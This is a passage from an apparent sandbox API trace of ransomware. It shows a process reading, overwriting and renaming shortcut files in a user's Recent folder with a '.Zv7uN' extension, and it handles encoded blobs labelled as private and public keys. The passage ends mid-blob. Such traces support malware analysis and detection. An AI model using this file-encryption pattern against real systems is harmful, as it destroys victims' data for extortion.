FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.446] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.446] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gfNfTbYK35b.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gfnftbyk35b.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d678a40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d678a40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d678a40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3f7)) returned 1 [0081.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gfNfTbYK35b.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gfnftbyk35b.lnk")) returned 0x20 [0081.446] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gfNfTbYK35b.lnk", dwFileAttributes=0x80) returned 1 [0081.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.449] GetCurrentThreadId () returned 0xa30 [0081.449] GetCurrentThreadId () returned 0xa30 [0081.449] GetCurrentThreadId () returned 0xa30 [0081.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.450] GetCurrentThreadId () returned 0xa30 [0081.450] GetCurrentThreadId () returned 0xa30 [0081.450] GetCurrentThreadId () returned 0xa30 [0081.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gfNfTbYK35b.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gfnftbyk35b.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.450] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.450] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.450] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3f7 [0081.450] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.450] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3f7, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3f7, lpOverlapped=0x0) returned 1 [0081.452] CloseHandle (hObject=0x124) returned 1 [0081.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gfNfTbYK35b.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gfnftbyk35b.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.453] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3f7, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3f7, lpOverlapped=0x0) returned 1 [0081.455] CloseHandle (hObject=0x124) returned 1 [0081.460] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gfNfTbYK35b.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gfnftbyk35b.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gfNfTbYK35b.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gfnftbyk35b.lnk.zv7un")) returned 1 [0081.462] GetCurrentThreadId () returned 0xa30 [0081.462] GetCurrentThreadId () returned 0xa30 [0081.462] GetCurrentThreadId () returned 0xa30 [0081.462] GetCurrentThreadId () returned 0xa30 [0081.462] GetCurrentThreadId () returned 0xa30 [0081.462] GetCurrentThreadId () returned 0xa30 [0081.462] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2677880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2677880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Hjea DQUQSLT3A.lnk", cAlternateFileName="HJEADQ~1.LNK")) returned 1 [0081.462] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.462] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hjea DQUQSLT3A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjea dquqslt3a.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2677880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2677880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x257)) returned 1 [0081.462] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hjea DQUQSLT3A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjea dquqslt3a.lnk")) returned 0x20 [0081.462] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hjea DQUQSLT3A.lnk", dwFileAttributes=0x80) returned 1 [0081.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5G